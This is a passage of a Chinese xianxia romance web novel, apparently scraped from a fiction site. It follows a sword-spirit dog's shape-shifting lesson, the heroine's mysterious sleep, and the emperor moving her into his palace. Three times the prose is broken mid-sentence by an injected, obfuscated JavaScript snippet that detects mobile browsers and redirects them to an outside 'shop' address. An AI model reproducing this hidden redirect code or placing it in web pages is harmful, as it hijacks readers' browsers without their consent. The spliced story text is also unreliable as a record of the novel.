眼看着周遭景色越来越荒凉,形状可疑的土包越来越多,似曾相识的阴森感攥紧了景辰的心脏,他胆战心惊地想,该不会又要搞什么特训了吧? “奚萦奚萦奚萦……你到底要干嘛啊?别假装听不见啊,你再这样我真的要生气了!奚萦奚萦……” 奚萦被吵得一阵头疼,伸指点在狗头上,轻声道:“敛息静心,摒除杂念,气归神庭。” 灵气从四肢百骸朝奚萦指尖汇聚,景辰只觉一股清风吹过脑海,疯长的杂念像麦穗般倒伏,神思瞬间清明。 “好了,你识海中杂念过多,吵得我脑袋疼,下次叫我的时候先收敛心神知道不?” 虽然偷听小狗的心声也挺有趣,但谁让她现在伤还没好全呢,也不知道这狗脑子里哪儿来那么多碎碎念,简直能吵死个人。 景辰点点头,又迫不及待地问道:“你到底在做什么呀?为什么给那些人送银子,又来乱葬岗做什么?” 不等奚萦回答,他又连忙补充道:“先说好啊,我可不跟野鬼打架!” 奚萦没好气地戳戳他脑门儿:“连几个小鬼都打不过,你出去可别说是我的剑灵啊!放心吧,今晚不让你打架。” 她没再继续解释,而是带着景辰在乱葬岗转了一圈,最后停在几座新坟前面。 坟墓总共六座,没有墓碑,但能入土为安,比起这里许多暴尸荒野的人已经算不错了。 景辰这时终于有点明白奚萦是在做什么了,他轻轻叹了口气,没有说话。 奚萦从储物袋中拿出香烛点燃,又让景辰跟她一起烧了些纸钱。 烟气渺渺,一旁的树林中有鬼影闪烁,却畏惧奚萦强大的气息不敢靠近,景辰原本还有点害怕,此时也被略显沉重的氛围冲淡了。 待纸钱烧完,他才传音问奚萦:“这些人,是死在朝露殿大火中的宫人吗?” 奚萦点点头:“嗯,三个太监三个宫女,其中一个叫春英的宫女已经没有家人了,他们的死或多或少是我们疏忽所致,我能做的也只有这些了。” 若不是奚萦提起,景辰早忘了那几个枉死的宫人,他自认为不是个轻贱人命的昏君,但也做不到对这些最底层的宫人如此上心,这点上他确实不如司主大人。 “富贵儿啊,你是我的剑灵,虽然现在还不怎么厉害,但跟这些孱弱的凡人比起来还是很强大的,我们是修行者,一个无心之举,或许就会害了许多无辜的性命,所以自己冒险没问题,但千万不要拿凡人的命去冒险知道吗?” 景辰点点头,抬头去看奚萦,她正低头看着脚边的灰烬,那双总是明亮的星眸有点黯淡,跟平日里神采飞扬的司主大人很不一样。 “你,你别太自责了,这种事你也没想到的……” 奚萦轻叹:“我只是想到了我师父。” 景辰好奇:“师父?你师父是谁呢?” 奚萦戳戳狗头:“我的师父你不该叫师祖吗?” 平白矮个辈分,景辰可不乐意:“你师父就是我师父!” 奚萦懒得跟狗争这些,继续道:“我师父她啊,非常非常厉害,平日里看上去冷冰冰的,其实是个很心软很善良的妖,她以前总数落我,说我仗着自己有几分本事就不拿别人的命当回事,说我这种光有武力不长脑子的家伙不配当司主,嗐,总之她就没说过我什么好……可是她就算病得再厉害也亲自教我剑法术法,强撑着最后一口气也要把司主令交到我手上,她啊……” 想起师父,奚萦其实找不出什么温馨感人的细节,无念沉默寡言,严厉非常,因为生病又总是在闭关,师徒俩真正相处的时间并不算多,但奚萦的命是无念救的,一身的本事是无念教的,司主的位子也是无念给的,对于奚萦来说,无念亦师亦母,是她最亲的亲人,她拥有的一切都是无念给的。 如今无念死了,妖务司的担子落到她身上,她不顾无念的叮嘱,踌躇满志来到雍都,结果稍一大意就断送了六条无辜的性命,原来无念说的没错,她纵使打遍天下无敌手也不一定能当好这个司主,何况她还根本打不过厄渊中的那只怪手。 景辰不知道该怎么安慰奚萦,他也失去了父亲,也曾在许多无法安眠的夜里回忆父子相处的点滴,也一直尽全力做好大雍的天子,害怕辜负了父亲重托。 他和奚萦一样,孤零零站在山巅,脚下一片迷雾,但凡踏错一步,断送的就是千千万万无辜性命,如此重压之下,他们也难免会迷茫害怕,却没办法选择逃避。 “奚萦,我一定会帮你的,你别害怕。” 奚萦闻言笑了,她弯腰跟脚边的小狗对视,清澈的狗狗眼中满是认真,让她有点无语又有点感动,忍不住捏了捏毛绒绒的狗脸:“那富贵儿可要努力修炼了啊,要不这样吧,今晚打一百只鬼怎么样?” 景辰:“……” 就不能放这些可怜的野鬼一马吗?! 得了小狗的白眼,奚萦大笑:“逗你玩的笨狗。千英大师说你还要再养一养,这样吧,我带你去找魇魔和孙胡学学怎么化形,你也不能总是小狗的模样啊。” 景辰松了口气,连连点头:“好啊好啊,那我们快走吧。” 赶紧离开这遍地野鬼的乱葬岗,万一奚萦反悔了,他和鬼都要遭殃。 * 趁着夜色,一人一狗回到皇宫,轻车熟路地往承光殿的方向掠去,刚一落地奚萦就变成沈嫔的模样,招呼小狗跟她一起翻窗进了寝殿。 景辰忍不住得意,看吧,沈嫔果然就是奚萦假扮的,他这双火眼金睛啊,简直厉害极了! 但他很快就被泼了一盆凉水,因为寝殿里走出来个一模一样的“沈嫔”。 幸好,在景辰吓出狗叫声之前,新来的“沈嫔”摇身一变成了个胖丫头,指着景辰问道:“咦,司主姐姐您要养狗吗?” 孙胡也关好门进来,跟景辰大眼瞪小眼。 奚萦道:“这是富贵儿,我的剑灵,你们教教他怎么化形。” 魇魔高兴道:“好啊好啊!小狗狗,你是公的还是母的呀?” 她说着就要上手去扯景辰的披风,气得景辰一脚踹在她手背上,汪汪汪汪一阵大骂。 魇魔不以为意:“这么害羞,看来是公的呢!狗弟弟,你叫我一声好姐姐,我肯定把你教会!” 景辰扭过头不理她,他算是看出来了,长夏宫走水那天对他抛媚眼的“沈嫔”肯定是这胖丫头变的,没脸没皮简直可恶! 奚萦嫌他们吵,一人给了个脑瓜崩儿,又警告魇魔:“好好教,不准欺负我家富贵儿啊!” 魇魔讪笑,不敢再调戏景辰,开始讲解妖族化形的要点。 “要化成人形,首先要知道人长什么模样,人有手和脚,有头发但没有毛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14254337|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有眼睛鼻子耳朵,女人有胸,男人有阳——” “咳咳——” “汪汪——” 教学被打断了,魇魔有点不服气:“你们这是什么表情,难道我说错了吗?” 奚萦欲言又止,止而又言:“……也没说错……但我觉得不用讲得这么详细,富贵儿都知道的对吧?” 景辰连忙点头,生怕魇魔继续讲解男女身体构造的异同。 魇魔却仍旧不放心,指着一旁老实听讲的孙胡对景辰道:“要不你让小猴子脱光了给你看看,免得你化形后少了什么重要物件。” 被点到的孙胡尴尬得脸通红,看看奚萦又看看景辰,战战兢兢道:“不、不、不好吧……” 景辰也无语了,让他照着小太监变才要担心少了什么重要物件吧? 奚萦艰难地打圆场:“要不,还是算了吧……” 魇魔老师却十分严谨:“怎么能算了呢,第一次化形可是很重要的,万一出岔子了以后都不好改。啧,要是你嫌弃小猴子的话,我倒是有个更好的参考人选!” 奚萦和景辰心里同时升起不妙的预感,果然,魇魔一拍巴掌,兴奋道:“不如去看看皇帝吧!狗弟弟看过了还能给司主姐姐睡,一举两得啊!” 奚萦:“……” 这他么真是个一鸭两吃的天才主意啊! 景辰:“……” 好像吃亏了又好像赚到了的复杂感觉是闹哪样? 一人一狗都说不出话来,向来安静内敛的乖猴子孙胡竟然跟着起哄:“对对对,魇魔说的对,还是去看陛下吧。” 魇魔:“小猴子果然懂我!哎,你们怎么不说话?” 奚萦艰难道:“我说的睡皇帝,可能跟你说的不是一个意思,我的意思是不用脱光了那种睡,富贵儿也不方便去看啊……” 魇魔皱眉:“啊,竟还有我不知道的高级玩法吗?” 景辰的目光飘向奚萦,见她脸色绯红,他也忍不住想歪了,莫非他之前误会了她,她几次挽留竟是真的想跟他…… 咳咳咳,要不下次答应她算了? 哎呀不行不行,进展太快了,他完全没做好准备啊! 大家眼神飘来飘去都不知道该放哪儿放,一场正经得不能再正经的术法教学眼看着变得不可描述起来,奚萦忍无可忍地数落起罪魁祸首:“跳过这个环节,直接说怎么化形,少扯些有的没的!” 魇魔撇撇嘴:“您让我好好教,我好好教了您又不满意……” 奚萦:“少废话!” 魇魔:“好吧好吧,那假设狗弟弟知道人都长什么样吧,然后就要引导体内的灵气经过身体每个部位,就像捏泥人一样,该收的地方收,该放的地方放,该长的地方长……小猴子,你给他示范一下吧。” 孙胡十分配合,“嗖”地一下变回猴子的模样,又“嗖”地一下变成小太监。 魇魔:“怎么样,学会了吗?” 景辰觉得自己会了,反正在魇魔认为最重要的环节上他觉得自己会得不能再会,于是自信满满地点头。 魇魔:“很好,那你试试吧。” 景辰按照魇魔说的,开始引导体内灵气游走于全身,像捏泥人那般试着给自己捏出手脚、四肢五官…… 毕竟是第一次用狗身变人,他动作慢吞吞的,在另外三人眼中就显得十分奇怪,只见一只狗缓缓长出人的手脚、胳膊、小腿…… “咦,你怎么不给自己变衣服啊?” 景辰闻言呼吸一窒,走到一半的灵气顿时在体内乱蹿,变到一半的胳膊腿儿忽长忽短,扑通一下摔到地上,咕噜噜滚到奚萦脚边。 奚萦被这番变故吓了一跳,赶紧将他捞起来,一指点在额头上,帮他将体内乱蹿的灵气理顺。 魇魔在一旁叹气:“看吧看吧,我就说要先弄明白男人该长什么模样吧,冒冒失失乱化形可是会出事的!” 奚萦望向一旁的孙胡:“真的是这样吗?” 孙胡其实也半懂不懂的,他自己化形的时候没这么复杂啊,“嗖”地一下就变成人了,但魇魔如此笃定,他也只好点头道:“不能胡乱变的。” 奚萦看着一脸无辜的小狗,终于痛下决心:“好吧,那就找机会把皇帝扒光了看看!” 景辰:“呃……” 这件荒唐事,他到底要不要阻止啊?该怎么阻止啊? 51. 幻梦一场 魇魔听到这话顿时兴奋得直拍手:“好好好,择日不如撞日,就明天吧!到时候司主姐姐就说有好东西给他看,把他骗去里间,我躲在门背后,趁机把他打晕,然后咱们想看哪儿就看哪儿啦,嘿嘿嘿……” 景辰被这土匪行径吓得瞪圆了眼睛,大声反对道:“汪汪汪汪!” 奚萦也摇头:“太粗暴了吧,你看看你每天吃的玩的那些好东西,哪样不是小皇帝送来的,怎么好意思对人下手这么狠呢?” 景辰大力点头,还是他家奚萦好啊! 魇魔撇撇嘴:“好吧,那在他茶杯里下迷药怎么样?把他迷晕,然后就能嘿嘿嘿……” 奚萦还是摇头:“就他那身子骨,迷药吃了伤脑子,不好不好。” 景辰继续点头,对对对,正常人还是少吃点迷药为妙啊! 魇魔都想撂挑子了,把手一摊,无奈道:“那我想办法往他衣服上泼点汤汤水水的,您趁机把他揪到浴室里,逼他在咱们这儿洗个澡,让狗弟弟藏在浴桶里偷看一下?” 奚萦觉得这个办法还算可行,点头道:“行,那就这么办!” 景辰觉得这么下去自己的身份就要瞒不住了,他疯狂摇头,跟奚萦传音道:“没必要搞这么复杂吧!我真的知道男人长什么样,刚才就是一不小心岔了气而已,多练习几次就好了,我真的不想偷看男人洗澡啊!” 奚萦故意逗他:“哎呀看看也没关系啦,就当长见识了,小皇帝长得可俊了呢!咱们富贵儿也要变成个俊俏小伙儿才行哦!” 景辰:“……” 虽然被夸长得俊他是很开心,可真没必要偷看啊喂!皇帝身上长了些啥他还能不清楚吗? “奚萦你听我说——” “嘶,别闹我——” 奚萦忽然痛嘶一声,抬手捂住额头,景辰赶紧跳上软榻去看她的脸色,想传音问她是哪儿不舒服却又怕吵到她,只能紧张地小声哼哼。 魇魔和孙胡也围了过来,片刻后,奚萦揉着太阳穴叹气:“可能是识海的伤还没好全,有点累了。” 孙胡连忙道:“那司主您快去休息吧。” 景辰和魇魔也跟着点头,奚萦想着今日也没别的事了,遂问景辰:“你是要跟孙胡和魇魔玩还是回去休息?” 景辰连连摇头,他跟这俩货有什么好玩的,他还要上早朝呢! 于是奚萦将景辰收回剑中,回房休息了。 景辰再睁眼时已经回到蓬莱宫,又到了该上早朝的时候。 尽管只睡了半个晚上,但他只要一想到承光殿里那几个家伙正谋划着偷看他洗澡他就精神抖擞。 富贵儿和他无法同时行动,到时候他在浴桶里晕倒的话要怎么糊弄过去呢?要不找个借口不去承光殿了? 可是他总得去见奚萦啊,何况她夸他俊美来着,似乎很想看他洗澡的样子呢…… 所以他是去呢,还是去呢,还是去呢? 景辰就这样百爪挠心般纠结了一天,直到晚膳时分,每天固定去承光殿的时间到了,他终究还是鼓起勇气“献身”去了。 * 此时承光殿中,魇魔和孙胡两人却是急得团团转,因为奚萦忽然叫不醒了。 奚萦平时休息就是打坐入定,很少会睡觉,今天早上睡下后,她和孙胡中午去看过一次,见她睡得很熟便没去吵她,可是一直到下午还在睡,这就很反常了,眼看着皇帝就要来了,他们不得不去叫她起来,然而无论他们怎么喊怎么晃,奚萦就是连眼皮都不动一下。 但除了沉睡不醒之外她也没有别的症状,甚至仍旧保持着“沈嫔”的容貌,两只小妖完全摸不着头脑,情急之下,只能暂时将奚萦藏在床里侧,由魇魔扮成“沈嫔”将皇帝糊弄过去再说。 他们这边打着如意算盘,却不知道高一尺魔高一丈,景辰既然已经知道魇魔的存在了,又岂是那么好糊弄的。 刚一照面他就觉得今天的“沈嫔”怪怪的,行礼时弯腰屈膝的动作非常认真,完全不同于奚萦平日里的敷衍了事,脸上的笑容也透着股心虚,眼神飘来飘去就是不敢看他。 很明显,这人根本就不是奚萦。 景辰以为奚萦有事离开了,心里有点失望,语气平平地道了声免礼,茶也懒得喝了,直接帮两小妖找借口道:“沈嫔今日看上去有些疲累,不如早些休息吧,朕明日再来看你。” 魇魔和孙胡大大地松了口气,齐声道:“恭送陛下!” 景辰:“……” 这俩货演得也太不走心了点,有这么赶皇帝走的吗?下次他要跟奚萦告状! 心里这般嘀咕着,他起身便准备走了,然而刚走出正殿大门,眼角余光就看到那俩货像没骨头似的齐齐往门框上一瘫。 景辰疑惑,孙胡胆小就算了,魇魔可是敢顶着大花脸冲他抛媚眼,还敢撺掇奚萦偷看他洗澡的莽货,至于怕他怕成这样? 若不是因为怕他的话,那能让魇魔这么紧张的,恐怕只有奚萦了。 奚萦出事了? 这个念头出现的瞬间,景辰原本已经迈出去的腿自动转了方向,直接掉头往寝殿里去了。 魇魔和孙胡两人见状吓得差点尖叫起来,齐声道:“陛下!陛下不可!” 两人上前试图拉住景辰,被一旁跟着的太监挡住了,其他宫人原本只是远远候着,见状吓得纷纷跪地请罪。 事出反常必有妖,景辰更加笃定是奚萦出事了,他沉声吩咐道:“孙胡和沈嫔留下,其余人都出去,不准靠近寝殿。” 孙胡和魇魔不敢真跟人打起来,也不敢伤害景辰,只能紧张兮兮地跟着他进了内室,正寻思着要不要将人弄晕算了,忽然听景辰道:“老实交代,沈嫔到底怎么了?” 两人还是支支吾吾不说话,景辰也懒得跟他们扯,直接上前掀开床帘,见床里侧裹着一条人形物体,又动手三两下将被子扯开,露出了“沈嫔”熟睡的脸。 景辰小心翼翼地伸手探了探她的鼻息,又摸摸额头,没发现任何异常,他略微松了口气,看向床边一脸警惕的两妖。 “沈嫔她这是怎么回事?” 魇魔正要将刚编好的瞎话拿来糊弄一番,被景辰挥手打断:“我知道你是发财,别跟我胡扯些乱七八糟的耽误时间。” 他顿了顿,又放缓了语气补充道:“无论如何我都不会伤害她的,你们放心。” 两妖对视一眼,魇魔道:“我们也不知道娘娘这是怎么了,今日寅时末娘娘睡下后便一直不曾醒来,无论我们怎么叫她都没有反应。” 寅时末,也就是景辰离开之前,奚萦那时头疼过,但看上去并不是很严重,怎么忽然就变成这样了? 他将奚萦的手腕从被子里挖出来,替她把了把脉。 景辰对医道并不精通,只是久病成医,会辨别一些简单的脉象,奚萦的脉象很平稳,完全看不出有什么问题,但是以她的修为来说,昏迷不醒就是天大的问题了。 莫非是因为她识海的伤复发了? 沉默片刻后,景辰问魇魔和孙胡:“能找到可靠的大夫来替她看诊吗?” 这话由他来问两个仆从实在奇怪得很,堂堂皇帝,难道还找不到可靠的大夫?可魇魔和孙胡两个此时也急得六神无主了,顺着景辰的话道:“可以带娘娘去找封公子看看。” 景辰觉得贸然移动对奚萦不好,这两个家伙也冒冒失失的,他根本不放心让他们直接带走奚萦,遂吩咐孙胡:“你通知那狐,那封公子进宫来替沈嫔看诊。” 孙胡呆住:“啊?” “还不快去!” 孙胡只好麻溜地滚出去写信了,房中只剩魇魔、景辰和昏迷不醒的奚萦,景辰全副心神都在奚萦身上,没有注意到魇魔正用奇异的目光打量他。 * 时间往前,奚萦和景辰在乱葬岗祭奠枉死宫人时,一行人正在雍都千里之外的沅江边大张旗鼓地挖坟。 “世子,要不您先回去歇着,有消息的话属下立即去通知您。” 两鬓染霜的中年男人正挥着锄头挖地,闻言他直起身,布满血丝的眼睛转向那说话的下属,目光却无法聚焦,他哑声道:“不,我不能让她们再等了,不能再等了……” 这人正是被景辰遣出去找女儿的定国公世子宁嘉屹,不过个把月的时间,他似乎又老了几分,此时看上去像是比定国公的年纪都大,本就清瘦的脸几乎脱形,昔年翩翩公子的俊朗早已荡然无存。 下属见宁嘉屹坚持要自己挖,也不好再劝,只能招呼众人再加把劲,争取早点挖到线索。 方圆数百丈的江岸被火把照得亮如白昼,数十个年轻力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273321|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮的小伙子扛着锄头铲子在河滩上一寸寸地挖着,虫鸣蛙声中,偶尔响起他们细碎的交谈。 “这肯定找不到了吧,十几年了,沅江发过好几次大水了。” “嗐,找得到找不到都不是我们该操心的,世子爷说要挖,我们埋头挖就完事了。” “对啊,从前可是把琴台山都给挖开找过一遍的,挖个河滩算什么。” “说不定有戏呢,那刘老头不是说了吗,几次发大水都不曾淹到这一带呢。” “这话你也信?他还说当年是他亲自埋的那两位,怎么不给大伙儿指个明路呢?” “十八年前的事了,记不清楚具体位置也正常。” 这些私下嘀咕都不曾传进宁嘉屹耳中,从他拿到被几次转手的长命锁,又在刘老头口中得知他十八年前埋葬过一对遇难母女时,他就已是命悬一线了。 其实得到答案也好,确定她们已经先走一步的话,他就可以去找她们了,免得她们等太久,他很讨厌无望的等待,也不想让她们一直等。 “哎,这底下有东西!” “这是什么?” “世子,世子,挖到东西了!” 人群中传来骚动,火把的光芒从四面八方聚集过来,下属叫了好几声宁嘉屹才愣愣地放下手中锄头,他一双腿像是灌了铅,一步一步往前挪,其余人见状不敢说话,默默让到两旁。 新挖开的土坑约莫半人深,半颗糊满泥土的头骨嵌在坑底泥土中,头骨小小的,比成年男人的拳头大不了多少,这孩子死时显然不到五岁。 宁嘉屹脚下不稳,扑通一声栽倒在泥坑旁,仆从连忙上前来扶,被他一把挥开,他踉跄着下到坑底,颤抖着手摸向那颗头骨,嘴里失神般念着:“苒苒两岁,身长两尺七寸,乳牙尚未长全,总共十七颗……” 他一遍遍地念着,用自己的手将头骨上的泥土擦去,又一点点从泥土中将尸骨其余部分挖出来,最后拼凑成一具小孩的尸骨。 宁嘉屹数了好几遍,这具骸骨总共十七颗乳牙,身长不超过两尺七寸。 是他的苒苒啊。 他失声痛哭,眼泪混着泥落下,在脏兮兮的骨头上冲刷出白惨惨的痕迹,其余人都屏着呼吸,河滩上只剩火把燃烧的哔剥声混着虫鸣,跟中年男人撕心裂肺的哭嚎相和。 不知过了多久,宁嘉屹脱力瘫倒在小小的尸骨旁,喃喃道:“念伊,还有念伊……” 他忽然撑起身子,手脚并用爬到挖出小孩尸骨的坑旁,疯狂用手挖泥,一旁的下属看不过去,拿着锄头铲子上来帮忙,他吼道:“走开,都走开,你们别碰她!” 下属们也拿他没办法,只得多点几支火把替他照明,宁嘉屹就这样一个人、一双手,挖到手指痉挛血肉模糊,一点点将另一具白骨挖了出来。 确认过身高和尸骨右脚踝骨折的痕迹,宁嘉屹整个人像失了魂一般瘫坐在地上。 这就是他苦苦追寻了十八年了答案,至亲挚爱惨死,荒野埋骨十数载,天人永隔,再不复见。 巨大的悲恸压得他肩背弯折,一口滚烫的血喷出,尽管他极力避开,仍有几滴落在了两具白骨上,宁嘉屹眼前一黑,彻底昏厥过去。 “世子!世子!” 仆从们赶紧上前去将人扶起来,先前提议宁嘉屹去歇着的下属替他把了把脉,又从腰间摸出一颗丹药喂给他,确认他暂时无恙后,这人转头看了眼整齐摆放在坑底的两具尸骨。 宁嘉屹的心头血沁入了孩子的骨头里,渐渐晕染开来,这具早已断绝生机的骸骨像是乍逢甘霖的枯树般散发出微弱的荧光,细碎的摩擦声中,一片孱弱的血红色嫩芽从骨缝中长出,刚冒了个头,又胆怯地缩回去,紧紧贴在骨头上。 看到这一幕的下属露出点惊讶神色,喃喃低语:“果然要至亲的心头血才能解开封印吗……” 他很快又对旁边另一人道:“换成另一具备用的,将这具尸骨收起来送回雍都。” 另一人应是,迅速将眼前染血的尸骨收起来,又麻利地从随身行李中拿出另一具一模一样的小孩尸骨,摆放成先前的模样。 河滩上所有人都安静地看着这戏剧般的一幕,连先前小声嘀咕的几人也不曾露出半丝异样神色,唯有昏迷不醒的宁嘉屹,还真切地陷在被人编织出来的悲剧中。 52. 同宿蓬莱宫 承光殿中,孙胡的信送出去一个时辰后,书房窗外传来笃笃的敲击声。 景辰听到动静使了个眼色让孙胡去看看,他自己却在奚萦床前扎了根,半点避嫌的意思也没有,孙胡张了张嘴又闭上,跟魇魔对视一眼,一脸懵地出去接人了。 敲窗的是只猫儿大小的灰黄毛方脸狐狸,后面还跟着只翠绿小鸟,孙胡刚一打开窗这一狐一鸟就往里冲,吓得他连忙挡住二妖,小声提醒道:“皇上还在里面呢……” 狐狸一呆,当即变成人形,十分机智地从储物袋中找出了个五颜六色的布褡裢充作药囊背上,又一把抓住孔二毛塞进褡裢里,这才跟着孙胡往里间去。 “她怎么回事?为何皇帝也在?你们身份被识破了?” 孙胡不知道该怎么解释,挠挠脑袋憋出一句:“不知道啊,但陛下他,看上去像好人……” 封峻:“……” 孔二毛:“……” 封峻是真无语,孔二毛是被下了禁言咒,否则封峻根本不带他来。 等进了内室,看到一身玄色龙袍的景辰就那样大喇喇坐在床边,姿态亲昵地抓着奚萦的手,封峻顿时有种走错地方的荒诞感,而被塞在褡裢里的孔二毛更是激动得想要跳出去踹翻床边那碍眼的人,啄得他满头包,得亏封峻将他死死按住了。 魇魔轻咳一声,使劲儿给封峻打眼色示意他行个礼,好歹演一演啊。 封峻哪里会行什么礼,尴尬道:“那个,草民——” 景辰抬头看了封峻一眼,又看了看他那不伦不类的褡裢里冒出的绿毛脑袋,打断他的尬演:“不必多礼了,先生赶紧过来替沈嫔看看吧。” 他略微往旁边让了让,封峻从善如流,上前替奚萦把脉。 封峻也不过是粗通点医术,把了半晌脉没看出个所以然,孔二毛憋不住了,硬是从褡裢里挤出来,也跳过去替奚萦把脉。 四妖一人轮流把脉的结果是,奚萦一切正常。 封峻沉吟半晌才道:“奚,呃,沈嫔娘娘从前并未出现过这种状况,我一时也拿不准该如何处置,这样吧,每日给她喂一颗清虚丹护养经脉,我这边通知蓝姑姑尽快来雍都,她医术高明又是从小照看沈嫔长大的,最清楚其中内情。” 孙胡闻言连连点头,魇魔不了解奚萦的情况故而并未出声,孔二毛也点头,景辰没有别的法子,也只能同意,但他仍旧不放心地追问:“那位蓝姑姑何时能来?她一直这么睡着不吃不喝的话,会不会对身体有碍?” 封峻深深地看了他一眼,这位少年皇帝容貌之盛,简直扎得他眼睛生疼,长得俊就算了,人也十分古怪,他们这群人分明处处可疑,他却视若无睹,他到底有何目的? 但他对奚萦这么紧张的模样又不像是装的,莫非……莫非还真的被奚萦勾到手了,连她是人是妖都不管了吗? 男男女女这些事啊,太复杂了,他想不明白。 “快的话,三天应该能到,不用担心,她不吃东西也没事的。” 景辰点点头,小心地把奚萦的手塞回被子里,又顺手将试图钻进被窝的孔二毛揪出来往封峻怀里一扔,淡声道:“清虚丹给朕就行,朕会每日按时给她服用,若没有别的事两位可以出宫了。” 孔二毛闻言气得一拍翅膀就要上前跟景辰干架,封峻赶紧将他揣回褡裢里死死捂住。 原本他还想着把奚萦带回无损堂,但见景辰这副护犊子的模样,肯定不愿意让他将人带走,毕竟是在宫里,他也不好强抢,何况无损堂妖多眼杂的,也不是个静养的好地方,这么一想,封峻便顺势道:“那就烦请陛下这几日照看沈嫔了。” 他将一瓶清虚丹递过去,又将一道防身的符箓当着景辰的面贴到奚萦肩头,十分和善地冲景辰笑了笑,然后起身告辞离开了。 孙胡送走封峻和孔二毛后,又去给蓝姑姑写信,魇魔觉得自己待在床前也是碍眼,也跟着去了书房,内室只剩景辰陪着奚萦。 奚萦对这一切毫无知觉,她像是回到儿时,在离人谷的大松树下睡午觉,微风轻柔地抚过面颊,松枝的清香萦绕在鼻端,阳光暖暖地照在脚背上,有个温柔的声音在轻轻呼唤:“苒苒,苒苒……” 苒苒是谁?反正不是她,就当没听见好了。 许久之后,又有个声音唤她:“奚萦,奚萦……” 奚萦又是谁?好像是她啊,真烦人,睡个觉都不让人安生。 奚萦翻了个身继续睡,暖呼呼的阳光从脚背一路往上爬,很快晒到她的手臂,又渐渐爬上肩膀,她整个人被包裹进一片温暖中,陷入了更深的沉眠。 真好啊,这是她这短短二十年人生中睡得最香甜的一觉。 她睡得香,可把景辰给愁坏了。 他先是给她喂了颗清虚丹,见她就跟个傀儡似的任人摆弄,他心里难受极了,忍不住在识海中小声唤她的名字。 刚叫了两声,就见奚萦原本舒展的眉头皱了皱,像是嫌他烦,他赶紧闭了嘴,但奚萦的眉眼却一点点发生了变化。 她渐渐开始变回自己本来的模样。 景辰吓得连忙查看她的脉象,幸好脉象没有任何变化,他松了口气,再也不敢乱叫她了,但她模样变了也挺愁人的,这皇宫就跟菜市场似的,稍微有点本事的人啊妖啊就能来去自如,承光殿更是菜市场中无人看管的路边摊,将她这么放在路边摊可不行啊。 思来想去,景辰想出了个掩人耳目的办法。 他找出一件斗篷将奚萦从头到脚裹得严严实实,又将魇魔和孙胡叫来,语气平静地吩咐道:“承光殿人多眼杂,朕带沈嫔回蓬莱宫休养,发财你扮作她的模样留在此处,别让人发现端倪。” 魇魔呆住,这宫里他们最需要防着别被发现的不就是陛下您吗?!现在您什么都发现了,她还要装成沈嫔防备谁啊?这种一眨眼敌军首领就开始指挥己方将士的戏码是闹哪样呢? 孙胡连忙表示反对:“不行,娘娘她,她不能去蓬莱宫……” 景辰瞪他:“怎么,朕还能吃了她不成?要是真想对你们不利,朕刚才就让羽林卫将你们通通抓进天牢去了。” 这显然就是在吹牛加恐吓了,可惜单纯的小猴子还真被唬住了,嗫嚅两下没说出话来。 景辰又道:“你们随时可以去蓬莱宫看她,侍卫不会拦你们的,行了别废话了,沈嫔她,她是朕的妻子,朕绝不会对她不利的。” 后半句话说出来他有点心虚,说完又觉得特别理直气壮、心潮澎湃,谁叫奚萦扮谁不好,非得扮成沈嫔,他这话可没毛病呢! 魇魔和孙胡还想说什么,景辰已经懒得听了,直接将奚萦打横抱起,大步走出内室,又吩咐人备撵。 于是,奚萦就这么住进了蓬莱宫,睡上了觊觎已久的龙床。 景辰带了个大活人回去,这事自然瞒不过底下伺候的人,安置好奚萦后,他便将暂时接替金内侍的内侍官李忠以及当值的羽林卫副统领吴云晖叫来吩咐道:“传旨下去,蓬莱宫严禁闲杂人等出入,寝殿内除朕之外任何人不得靠近,有胆敢乱传话的,严惩不贷。” 两人小心应下,离开时交换了个心照不宣的眼神,都在暗自嘀咕自家陛下不开窍则罢,这一开窍就玩起金屋藏娇的戏码了啊!哎哟莫非这宫里终于要有皇后娘娘了? 景辰哪里知道属下已经替他编排出何等羞煞人的戏码,他自认为是天下第一等的正人君子,将奚萦带到蓬莱宫纯粹是为了她的安危着想,这不,大床让给了她,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304323|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只得抱着被子去又窄又小的榻上屈就了。 此后三天,除了上朝之外,景辰几乎寸步不离守着奚萦,魇魔、孙胡、封峻和孔二毛都来过,景辰严阵以待,只让他们隔着一层纱帐把脉,硬是没让人发现奚萦早已变回了本来模样。 其实封峻和孔二毛对此也心存疑虑,曾试图夜闯蓬莱宫,可惜被斗艮阵挡下,孔二毛气得坐在蓬莱宫房顶小声骂了一夜,最后被封峻打晕拖走了。 